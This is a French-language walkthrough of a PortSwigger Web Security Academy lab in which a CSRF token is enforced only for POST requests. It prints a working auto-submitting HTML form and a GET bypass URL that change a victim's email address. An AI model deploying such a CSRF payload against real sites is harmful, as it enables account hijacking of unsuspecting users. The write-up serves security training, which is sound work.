> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF avec validation du jeton basée sur la méthode HTTP

Notes sur le CSRF avec validation du jeton basée sur la méthode HTTP pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### CSRF où la validation du jeton dépend de la méthode de la requête

#### Contexte du laboratoire

La fonctionnalité de changement d'adresse e-mail est vulnérable à une attaque CSRF. Une défense est présente, mais elle ne s'applique qu'à certains types de requêtes. Objectif : héberger une page sur le serveur d'exploitation qui force la victime à changer son adresse e-mail. / Identifiants fournis pour les tests : `wiener:peter`.

#### Constat

* Un jeton CSRF est vérifié pour **POST** requêtes.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* La même action acceptée dans **GET** \*\*n
* Point concerné : `/my-account/change-email`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

L'hébergement sur le serveur exécute une page qui envoie automatiquement une **GET** requête vers le point de terminaison de changement d'e-mail :

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

L'URL suivante illustre le contournement (aucun jeton requis en GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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